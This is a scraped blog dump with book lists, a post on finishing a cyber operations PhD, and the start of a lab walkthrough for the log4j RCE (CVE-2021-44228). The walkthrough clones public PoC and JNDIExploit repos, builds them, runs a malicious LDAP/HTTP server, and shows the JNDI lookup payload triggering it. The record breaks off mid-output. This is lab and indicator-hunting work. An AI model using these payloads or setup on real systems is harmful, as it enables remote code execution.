href=\"https://www.amazon.com/Farm-Other-Words-Small-Family/dp/1636768202?tag=kimobu-20\"\u003eFarm and Other F Words: The Rise and Fall of the Small Family Farm\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/There-Nothing-You-Here-Twenty-First/dp/B08XY9782K?tag=kimobu-20\"\u003eThere Is Nothing For You Here: Finding Opportunity in the Twenty-First Century\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Code-Breaker-Jennifer-Doudna-Editing/dp/B08GP2J186?tag=kimobu-20\"\u003eThe Code Breaker: Jennifer Doudna, Gene Editing, and the Future of the Human Race\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Splendid-and-Vile-audiobook/dp/B07X8QV4PV?tag=kimobu-20\"\u003eThe Splendid and the Vile: A Saga of Churchill, Family, and Defiance During the Blitz\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/My-Life-Full-Family-Future/dp/B08YP5RSGY?tag=kimobu-20\"\u003eMy Life in Full: Work, Family, and Our Future\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Eisenhower-in-War-and-Peace-audiobook/dp/B007BJUIL4?tag=kimobu-20\"\u003eEisenhower in War and Peace\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/This-They-Tell-World-Ends/dp/B08W2D7NGZ?tag=kimobu-20\"\u003eThis is How They Tell Me the World Ends: The Cyberweapons Arms Race\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/32-Yolks-audiobook/dp/B01DYFH4PG?tag=kimobu-20\"\u003e32 Yolks: From My Mother\u0026rsquo;s Table to Working the Line\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Noise-Flaw-Human-Judgment/dp/B08LNYM39M?tag=kimobu-20\"\u003eNoise: A Flaw in Human Judgment\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-New-Geography-of-Jobs-audiobook/dp/B07J56ZH3V?tag=kimobu-20\"\u003eThe New Geography of Jobs\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/You-Are-Worth-It-audiobook/dp/B07Q897NPR?tag=kimobu-20\"\u003eYou Are Worth It: Building a Life Worth Fighting For\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/American-Made-Happens-People-Disappears/dp/B08YZ7NLBN?tag=kimobu-20\"\u003eAmerican Made: What Happens to People When Work Disappears\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Caine-Mutiny-Herman-Wouk-audiobook/dp/B008ARPWVM?tag=kimobu-20\"\u003eThe Caine Mutiny\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Everything-Store-Brad-Stone-audiobook/dp/B00FJFJOLC?tag=kimobu-20\"\u003eThe Everything Store: Jeff Bezos and the Age of Amazon\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Facing-Mountain-Japanese-American-Heroes/dp/B0BW4YR5J5?tag=kimobu-20\"\u003eFacing the Mountain: A True Story of Japanese American Heroes in World War II\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Leadership-in-War-Andrew-Roberts-audiobook/dp/B07Z4547RM?tag=kimobu-20\"\u003eLeadership in War: Essential Lessons from Those Who Made History\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Day-of-Jackal-audiobook/dp/B002ZOVVX4?tag=kimobu-20\"\u003eThe Day of the Jackal\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Caste-Oprahs-Book-Club-Discontents/dp/B085VXLKRJ?tag=kimobu-20\"\u003eCaste: The Origins of Our Discontents\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Heroes-The-Greek-Myths-Reimagined/dp/B086WN44B6?tag=kimobu-20\"\u003eHeroes: The Greek Myths Reimagined\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Troy-The-Greek-Myths-Reimagined/dp/B08ZBNW3N7?tag=kimobu-20\"\u003eTroy: The Greek Myths Reimagined\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Ludicrous-Edward-Niedermeyer-audiobook/dp/B07X43MZYM?tag=kimobu-20\"\u003eLudicrous: The Unvarnished Story of Tesla Motors\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Of-Mice-and-Men-John-Steinbeck-audiobook/dp/B004WB5MOM?tag=kimobu-20\"\u003eOf Mice and Men\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/How-World-Really-Works-Science/dp/B09FC3D9ZQ?tag=kimobu-20\"\u003eHow the World Really Works: The Science Behind How We Got Here and Where We\u0026rsquo;re Going\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Musashi-audiobook/dp/B07FXMJCX6?tag=kimobu-20\"\u003eMusashi\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Why-Were-Polarized-Ezra-Klein-audiobook/dp/B07V25JH7N?tag=kimobu-20\"\u003eWhy We\u0026rsquo;re Polarized\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Road-Taken-A-Memoir/dp/B09FRJMV2C?tag=kimobu-20\"\u003eThe Road Taken: A Memoir\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Ugly-Truth-Inside-Facebooks-Domination/dp/B07YX8TC23?tag=kimobu-20\"\u003eAn Ugly Truth: Inside Facebook’s Battle for Domination\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Making-of-Manager-audiobook/dp/B07NGSZGFG?tag=kimobu-20\"\u003eThe Making of a Manager: What to Do When Everyone Looks to You\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Threat-Hunting-Elastic-Stack-challenges/dp/1801073783?tag=kimobu-20\"\u003eThreat Hunting with Elastic Stack\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cem\u003eThe above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\u003c/em\u003e\u003c/p\u003e","title":"Recap of the books I read in 2022"},{"content":"In March of this year, I successfully defended my dissertation An Application of Machine Learning to Packed Mach-O Detection. After four years, I completed a PhD in Cyber Operations from Dakota State University (DSU). In this post, I want to reflect on this journey, what I learned, and thoughts on the program.\nCurriculum The DSU PhD in Cyber Operations consists of core technical classes, core research classes, electives, and the dissertation. When I started the program, it was actually a Doctor of Science (DSc) vice a Doctor of Philosophy, but the South Dakota Board of Regents approved the transition to PhD relatively soon after my acceptance.\nCore Technical Classes CSC840: Cyber Operations I\nCSC840 and its follow-up, CSC841, act as a “survey” of the cyber operations field. In this class, we examined the legal frameworks which underpin how organizations conduct operations, whether those are offensive (such as government hacking) or defensive (such as organizations performing system monitoring). The Border Gateway Protocol was investigated by constructing a virtual autonomous system via multiple pfSense machines and performed BGP prefix hijacking. Next we implemented a network interceptor, similar to FakeNetNG, to proxy malware communications. We also wrote scripts to extract Indicators of Compromise (IOC) from malware files, Yara rules to detect malware, and extracted files from packet captures. We analyzed the Ranbyus Domain Generating Algorithm (DGA), implemented the algorithm ourselves, and wrote regular expressions to detect the DGA domains in DNS logs. Lastly, we developed academic learning objectives, assessments, and curriculum to teach a security concept.\nCSC841: Cyber Operations II\nCSC841 contains labs using Software Defined Radios (SDR). GNU Radio was used to demodulate captured radio transmissions and we use triangulation of GSM signals to geolocate a signal. We intercepted WiFi signals by setting interfaces into monitor mode and writing scripts to poll the interface, parse frames, and centralize logging in Greylog. We created analytics to hunt in Greylog for deauthorization attacks and to generate statistics for client activity. In another lab, we created a GSM network using OpenBTS, joined Android devices, sent messages between the phones, and analyzed GSM traffic with Wireshark. This course also used Network Intrusion Detection System (NIDS) and Network Address Translation (NAT). We implemented NAT in a language of our choice, created malware that used Command and Control (C2), and wrote NIDS rules to detect the C2 traffic. Lastly, we stood up VPNs using Wireguard.\nCSC844: Reverse Engineering\nCSC844 was an Internet of Things (IoT) focused Reverse Engineering (RE) course. At the time, the course was under transition from one faculty member to another, and this perhaps led to the course being more free-form than expected. We were to obtain an IoT device, extract firmware, intercept traffic, and RE mobile apps, all in an attempt to find a vulnerability to generate a Common Vulnerability and Exposure (CVE). I used an Ikea Tradfri hub that I had laying around. Using a Bus Pirate, I pulled firmware off the device’s flash storage and extracted files with binwalk. The extracted files were from an HDR0 filesystem, and executables were ARM. I reverse-tethered my phone to my laptop to intercept traffic between the Ikea app and the device and discovered that the communications were encrypted with dTLS. While I was not able to find any vulnerabilities, I did implement automation of the device with Python using COAP client.\nCSC846: Advanced Malware Analysis\nCSC846 provided an opportunity to analyze multiple samples of malware. I used this class as a motivation to install Cuckoo in my homelab. We analyzed macro-embedded documents and deobfuscated VBScript, Powershell, Javascript, and PHP. We analyzed PCAPs to identify C2 nodes, exfiltrated data, and follow-on payloads. Exploit kits were analyzed to determine CVEs used and payload functionality. Packed payloads were unpacked, using both tools such as UPX and manually after RE’ing the algorithm. Modular payloads were examined and RE’d to determine functionality. Lastly, reflective injection loaders and payloads were analyzed.\nCSC848: Advanced Software Exploitation\nCSC848 was focused on defeating exploit mitigations and writing shellcode. We used both Return Oriented Programming (ROP) and Jump Oriented Programming (JOP) to defeat Data Execution Prevention (DEP). We used a memory leak to defeat Address Space Layout Randomization (ASLR). Other techniques included heap spraying, Use After Free (UAF), and Structured Exception Handling (SEH). We also did a small amount of kernel debugging and exploitation.\nCore Research Classes CSC803: An Introduction to Cyber Security Research\nCSC803 was the first class in the research process. It focused on learning about the dissertation process and the structure of a dissertation. We understood our world view and quantitative and qualitative research. We refined our ability to search literature databases and critically read research papers. Problem statements and research questions were generated. This was our first chance to officially begin the dissertation research by conducting a survey of relevant literature and was equivalent to the work involved in Chapter One.\nCSC804: Cyber Security Research Methods\nCSC804 continued the theme of the dissertation process. The class went deeper into qualitative and quantitative methods, and explored design science. We read papers using each method and practiced applying those methods to our research problems and questions. This work was equivalent to Chapter Two.\nCSC807: Cyber Security Research\nCSC807 gave practice in defining a research question, conducting a literature review, defining a methodology, conducting research, writing results, and publishing. The European Union Agency for Cyber Security’s Threat Landscape served as a starting point for identifying an area of research. Throughout the course, we dove into a topic from the report, developed a research question, and worked to answer it. For my topic, I researched DNS over HTTPs and was published in the proceedings of the International Conference on Information and Computer Technologies.\nElectives Three electives are required. I took additional electives to shore up Machine Learning (ML) skills for my dissertation topic or because I had an interest.\nCSC748: Software Exploitation\nCSC748 is a recommended elective that teaches software exploitation. It covered buffer overflows, defeating DEP with ROP chains from Mona, and writing shellcode. It was useful as a refresher for these techniques but was not new to me.\nCSC842: Security Tool Development\nCSC842 is operated as several development sprints. In each sprint, you develop a tool to solve a security problem, alternating every two weeks. On the “off” weeks, you create content to share the tool and what you learned. I used this course to learn more about Mac malware. First I developed a Python script to enumerate persistence locations on macOS. In a subsequent sprint, I ported the functionality to Swift, my first time using this language. For the last three sprints, I developed and iterated a malware C2 framework that used a blog post and comments for obfuscated communications.\nCSC722: Machine Learning Fundamentals\nCSC722 covered the theory and implementation of a few algorithms for machine learning classification. The class used “stock” datasets.\nCSC723: Machine Learning for Cyber Security\nCSC723 contextualized ML to cyber security problems. We primarily used existing datasets of malware, network traffic, or keystroke timing data for either classification or anomaly detection. As an option to one of the projects for this course, I started gathering macOS malware samples to use for my dissertation.\nINFA720: Incident Response\nINFA720 introduces the Incident Response (IR) process. Most of the course is from the perspective of a leader of an IR program, with only a few labs with practical application. We developed an IR plan, produced templates, and created table top exercises.\nDissertation The dissertation phase begins after completing the core classes and passing the oral comprehensive exams. CSC809: Dissertation Preparation\nCSC809 acts as a guide for preparing Chapters One, Two, and Three for the dissertation and culminates with the proposal. If not already completed, we formed a dissertation committee.\nCSC890: Research Seminar\nCSC890 is a one-week residency requirement of the program. Three iterations of CSC890 are required. During CSC890, we went onsite to DSU’s campus in Madison, SD. This was a great opportunity to meet the other students, since all other classes are available remote. During the week of CSC890, students present their dissertation proposals and defenses, and conduct oral exams.\nCSC898D: Dissertation\nCSC898D is the “course” for tracking dissertation progress. 22 credits are required and can be spread across a number of semesters.\nMy dissertation topic involved applying machine learning to the problem of classifying macOS malware as packed. What I learned most centered on building a dataset for machine learning. In any class where I’ve used ML, the datasets were provided and relatively clean already. Since this was original research, I needed to obtain malware samples, make decisions on balancing the dataset with benign samples, and figure out how to extract features. Once the data was extracted, I had to figure out how to store and load the data and transform it to suitable data types.\nThoughts on the program I enjoyed the time that I spent in DSU’s program. There was a good variety in the content of the core courses which either reinforced previously learned ideas or exposed me to new topics that I found interesting. The requirements that I had when searching for a PhD program were: it could be completed part time and was available to remote learning. When researching programs, I found that this one had the most hands-on technical content.\nI used the GI Bill to pay for school. DSU’s cost seems reasonable if I had to pay out of pocket. A credit costs roughly $500, and excepting CSC898D and CSC890, courses are three credits. That is $1,500 per course and about a third the cost of some other programs. The cost of travel to South Dakota three times adds about $3,000.\nThe faculty are in the process of changing the required courses. I neglected to write down the changes, but I thought that they made sense and would streamline the program. If I recall correctly, the independent study and research course (INSuRe) will be required will provide a real-world problem for research.\nDSU has some very knowledgable faculty. As always, I “clicked” with some professors more than others. There is some change in the faculty; some professors are leaving for new positions. The school will need to replace them with equally qualified personnel in addition to expanding their ranks. DSU is the third largest school in the state, but is on track to produce the largest number of PhDs in the state. Scaling up to meet that demand could be challenging.\nI think the future still looks bright for incoming students. DSU recently established a public-private partnership in SD to build a new research park in Sioux Falls. In addition to the existing Applied Research Labs, there will be ample opportunities to work on cyber security problems across a range of specialities, including IoT, medical devices, and malware.\n","permalink":"https://www.kimobu.space/posts/Reflecting-on-a-PhD/","summary":"\u003cp\u003eIn March of this year, I successfully defended my dissertation \u003ca href=\"https://scholar.dsu.edu/theses/381/\"\u003eAn Application of Machine Learning to Packed Mach-O Detection\u003c/a\u003e. After four years, I completed a \u003ca href=\"https://dsu.edu/programs/phdco/index.html\"\u003ePhD in Cyber Operations\u003c/a\u003e from Dakota State University (DSU). In this post, I want to reflect on this journey, what I learned, and thoughts on the program.\u003c/p\u003e\n\u003ch1 id=\"curriculum\"\u003eCurriculum\u003c/h1\u003e\n\u003cp\u003eThe DSU PhD in Cyber Operations consists of core technical classes, core research classes, electives, and the dissertation. When I started the program, it was actually a Doctor of Science (DSc) vice a Doctor of Philosophy, but the South Dakota Board of Regents approved the transition to PhD relatively soon after my acceptance.\u003c/p\u003e","title":"Reflecting on Completing a PhD"},{"content":" The Silk Roads: A New History of the World Touching the Dragon: And Other Techniques for Surviving Life\u0026rsquo;s Wars Long Walk to Freedom: The Autobiography of Nelson Mandela The Coaching Habit: Say Less, Ask More \u0026amp; Change the Way You Lead Forever How to Be an Anti Racist You Never Forget Your First: A Biography of George Washington The Order of Time The Topeka School: A Novel The Space Barons Small Wars, Big Data: The Information Revolution in Modern Conflict The Threat Intelligence Handbook The Security Engineer Handbook A Promised Land We Are Bellingcat: Global Crime, Online Sleuths, and the Bold Future of News The New Jim Crow: Mass Incarceration in the Age of Colorblindness This Is What America Looks Like: My Journey from Refugee to Congresswoman No Time for Spectators: The Lessons That Mattered Most from West Point to the West Wing Cannery Row Born a Crime: Stories from a South African Childhood How to Avoid a Climate Disaster: The Solutions We Have and the Breakthroughs We Need These Truths: A History of the United States Grant The Stranger 2034: A Novel of the Next World War A Separate Peace The Hacker and the State: Cyber Attacks and the New Normal of Geopolitics Leave Only Footprints: My Acadia-to-Zion Journey Through Every National Park American Kompromat: How the KGB Cultivated Donald Trump, and Related Tales of Sex, Greed, Power, and Treachery Country Driving: A Journey Through China from Farm to Factory Mythos Playing to Win: How Strategy Really Works Blue on Green The Making of a Miracle: The Untold Story of the Captain of the 1980 Gold Medal–Winning U.S. Olympic Hockey Team The Last Rhinos: My Battle to Save One of the World\u0026rsquo;s Greatest Creatures The Spy and the Traitor: The Greatest Espionage Story of the Cold War Boom Town: The Fantastical Saga of Oklahoma City, its Chaotic Founding\u0026hellip; its Purloined Basketball Team, and the Dream of Becoming a World-class Metropolis Fulfillment: Winning and Losing in One-Click America The above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\n","permalink":"https://www.kimobu.space/posts/Books-of-2021/","summary":"\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Silk-Roads-New-History-World-ebook/dp/B00XST7IX2?tag=kimobu-20\"\u003eThe Silk Roads: A New History of the World\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Touching-Dragon-audiobook/dp/B07CNT8MPR?tag=kimobu-20\"\u003eTouching the Dragon: And Other Techniques for Surviving Life\u0026rsquo;s Wars\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Long-Walk-to-Freedom-audiobook/dp/B005CP8J24?tag=kimobu-20\"\u003eLong Walk to Freedom: The Autobiography of Nelson Mandela\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Coaching-Habit-audiobook/dp/B01HH7IORO?tag=kimobu-20\"\u003eThe Coaching Habit: Say Less, Ask More \u0026amp; Change the Way You Lead Forever\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Ibram-Kendi-How-Antiracist-Hardcover%E3%80%902019%E3%80%91/dp/B07VDXKJ72?tag=kimobu-20\"\u003eHow to Be an Anti Racist\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/You-Never-Forget-Your-First/dp/B083X9XMST?tag=kimobu-20\"\u003eYou Never Forget Your First: A Biography of George Washington\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Order-of-Time-Benedict-Cumberbatch/dp/B07B4JS88Q?tag=kimobu-20\"\u003eThe Order of Time\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Topeka-School-Ben-Lerner-audiobook/dp/B07THD243X?tag=kimobu-20\"\u003eThe Topeka School: A Novel\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Space-Barons-audiobook/dp/B07BH34HTQ?tag=kimobu-20\"\u003eThe Space Barons\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Small-Wars-Big-Data-audiobook/dp/B07F6GYRSZ?tag=kimobu-20\"\u003eSmall Wars, Big Data: The Information Revolution in Modern Conflict\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://go.recordedfuture.com/book-4\"\u003eThe Threat Intelligence Handbook\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://securityhandbook.io\"\u003eThe Security Engineer Handbook\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/A-Promised-Land-Obama-Audiobook/dp/B08HGH9JMF?tag=kimobu-20\"\u003eA Promised Land\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/We-Are-Bellingcat-Global-Sleuths-ebook/dp/B08N4SBFM6?tag=kimobu-20\"\u003eWe Are Bellingcat: Global Crime, Online Sleuths, and the Bold Future of News\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-New-Jim-Crow-audiobook/dp/B007R0L47O?tag=kimobu-20\"\u003eThe New Jim Crow: Mass Incarceration in the Age of Colorblindness\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/This-What-America-Looks-Like/dp/B07X5BLRQC?tag=kimobu-20\"\u003eThis Is What America Looks Like: My Journey from Refugee to Congresswoman\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/No-Time-Spectators-Lessons-Mattered/dp/B0874BCB12?tag=kimobu-20\"\u003eNo Time for Spectators: The Lessons That Mattered Most from West Point to the West Wing\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Cannery-Row-John-Steinbeck-audiobook/dp/B004WB5NJG?tag=kimobu-20\"\u003eCannery Row\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Born-Crime-Trevor-Noah-audiobook/dp/B01IW9TM5O?tag=kimobu-20\"\u003eBorn a Crime: Stories from a South African Childhood\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/How-Avoid-Climate-Disaster-Breakthroughs/dp/B082QYFLDR?tag=kimobu-20\"\u003eHow to Avoid a Climate Disaster: The Solutions We Have and the Breakthroughs We Need\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/These-Truths-Jill-Lepore-audiobook/dp/B07FDL9QV9?tag=kimobu-20\"\u003eThese Truths: A History of the United States\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Grant-Ron-Chernow-audiobook/dp/B074F3SLTL?tag=kimobu-20\"\u003eGrant\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Stranger-Albert-Camus-audiobook/dp/B0009QRZQ2?tag=kimobu-20\"\u003eThe Stranger\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/2034-Novel-Next-World-War/dp/B08BSZRXZ6?tag=kimobu-20\"\u003e2034: A Novel of the Next World War\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/A-Separate-Peace-John-Knowles-audiobook/dp/B001FY4RLI?tag=kimobu-20\"\u003eA Separate Peace\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Hacker-State-Attacks-Normal-Geopolitics/dp/B08BDWD8JV?tag=kimobu-20\"\u003eThe Hacker and the State: Cyber Attacks and the New Normal of Geopolitics\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Leave-Only-Footprints-Acadia-Zion/dp/B085GLRGCK?tag=kimobu-20\"\u003eLeave Only Footprints: My Acadia-to-Zion Journey Through Every National Park\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/American-Kompromat-Cultivated-Related-Treachery/dp/B08KWLPG4N?tag=kimobu-20\"\u003eAmerican Kompromat: How the KGB Cultivated Donald Trump, and Related Tales of Sex, Greed, Power, and Treachery\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Country-Driving-Peter-Hessler-audiobook/dp/B0037TSEGS?tag=kimobu-20\"\u003eCountry Driving: A Journey Through China from Farm to Factory\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Mythos-Stephen-Fry-audiobook/dp/B07WKRP2F2?tag=kimobu-20\"\u003eMythos\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Playing-to-Win-audiobook/dp/B00GRMUSOS?tag=kimobu-20\"\u003ePlaying to Win: How Strategy Really Works\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Green-on-Blue-Elliot-Ackerman-audiobook/dp/B00TJ3ELAY?tag=kimobu-20\"\u003eBlue on Green\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Making-Miracle-Captain-Medal-Winning-Olympic/dp/B07TBGZQ4R?tag=kimobu-20\"\u003eThe Making of a Miracle: The Untold Story of the Captain of the 1980 Gold Medal–Winning U.S. Olympic Hockey Team\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Last-Rhinos-Battle-Greatest-Creatures-ebook/dp/B0071NOK7I?tag=kimobu-20\"\u003eThe Last Rhinos: My Battle to Save One of the World\u0026rsquo;s Greatest Creatures\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Spy-and-Traitor-Ben-Macintyre-audiobook/dp/B07DHR7427?tag=kimobu-20\"\u003eThe Spy and the Traitor: The Greatest Espionage Story of the Cold War\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Boom-Town-Sam-Anderson-audiobook/dp/B07G7DZ98X?tag=kimobu-20\"\u003eBoom Town: The Fantastical Saga of Oklahoma City, its Chaotic Founding\u0026hellip; its Purloined Basketball Team, and the Dream of Becoming a World-class Metropolis\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Fulfillment-Winning-Losing-One-Click-America/dp/B088KVXH4R?tag=kimobu-20\"\u003eFulfillment: Winning and Losing in One-Click America\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cem\u003eThe above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\u003c/em\u003e\u003c/p\u003e","title":"Recap of the books I read in 2021"},{"content":"Situation A remote code execution (RCE) bug was found in log4j. CVE 2021-44228 has been assigned to it. The vulnerability lies in how log4j interprets Java Naming and Directory Interface (JNDI) URLs. JNDI lets an application look up a service. An attacker can craft a string that looks like \u0026ldquo;${jndi:proto://host/a}\u0026rdquo; where proto is ldap or rmi, and log4j will connect to the host to retrieve a, which would specify how to process the log entry. However, a can instead provide Java bytecode that log4j will execute.\nlog4j is used in a lot of places. The attacker can submit malicious input to multiple places. This includes: in a web form, as a user-agent, by renaming their Tesla, or sending a chat in Minecraft. Where the vulnerability manifests depends on how that organization\u0026rsquo;s infrastructure is configured. For example, it looks like naming your Airpods in the right format can induce a remote connection from Apple\u0026rsquo;s iCloud servers. Airpods are synced across all devices that a user owns via iCloud, so clearly log4j is logging the Airpods name at some point during the sync process. Minecraft servers, and every user connected to the server, are getting popped because both the client and server are using log4j to log chat messages.\nIn the rest of this blog, we\u0026rsquo;ll look at getting a Proof of Concept (PoC) running and what indicators we can extract from the networks and endpoints.\nGet the PoC running The first PoC I found was from tangxiaofeng7. This has a vulnerable \u0026ldquo;app\u0026rdquo; that simply calls log4j with a malicious endpoint. The Github page shows macOS Calculator.app being run as the payload. I\u0026rsquo;m going to use Ubuntu Linux as my test system, so I need to either figure out how to change payload or find a different way of running the payloads. During research, I find JNDIExploit. log4j is the \u0026ldquo;access\u0026rdquo; vector, but the actual bad thing happens due to JNDI. Let\u0026rsquo;s use that.\nSet up a new VM, Ubuntu 18.04. We need a Java Dev Kit and Maven. Clone the repo. apt install openjdk-8-jdk maven git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git git clone https://github.com/0x727/JNDIExploit Build the projects Spent way more time than I\u0026rsquo;d like trying to figure out how Java projects work. cd JNDIExploit/ mvn package cd target java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 0.0.0.0 ss -anpt shows 1389/tcp and 3456/tcp running, great success. 1389 is implementing an LDAP endpoint that will \u0026ldquo;instruct\u0026rdquo; the vulnerable log4j function to connect to another location and execute the bytecode found there. 3456 is running an HTTP server that hosts the malicious bytecode. Unfortunately, a straight build does not work for the log4j poc. Had quite a few problems getting org.apache.logging.log4j to load. Seems like there are several methods to get it working, but here\u0026rsquo;s what I did.\ncd ~/apache-log4j-poc vim pom.xml The POM file is a manifest for the Maven project. We add the maven-shade-plugin to generate an Uber JAR that includes log4j jars.\n\u0026lt;build\u0026gt; \u0026lt;plugins\u0026gt; \u0026lt;plugin\u0026gt; \u0026lt;groupId\u0026gt;org.apache.maven.plugins\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;maven-shade-plugin\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;2.4.1\u0026lt;/version\u0026gt; \u0026lt;executions\u0026gt; \u0026lt;execution\u0026gt; \u0026lt;phase\u0026gt;package\u0026lt;/phase\u0026gt; \u0026lt;goals\u0026gt; \u0026lt;goal\u0026gt;shade\u0026lt;/goal\u0026gt; \u0026lt;/goals\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;transformers\u0026gt; \u0026lt;transformer implementation=\u0026#34;org.apache.maven.plugins.shade.resource.ManifestResourceTransformer\u0026#34;\u0026gt; \u0026lt;mainClass\u0026gt;log4j\u0026lt;/mainClass\u0026gt; \u0026lt;/transformer\u0026gt; \u0026lt;/transformers\u0026gt; \u0026lt;/configuration\u0026gt; \u0026lt;/execution\u0026gt; \u0026lt;/executions\u0026gt; \u0026lt;/plugin\u0026gt; \u0026lt;/plugins\u0026gt; \u0026lt;/build\u0026gt; Now we can build with mvn clean package. This removes everything in a target directory and then packages the project into a .jar. We can then execute it with java -jar target/log4j-rce-1.0-SNAPSHOT.jar. If we do, wee see the message\n01:27:16.300 [main] ERROR log4j - ${jndi:ldap://127.0.0.1:1389/a} And from the terminal window in which JNDIExploit is running from, we see\n[+] Received LDAP Query: a [!] Invalid LDAP Query: 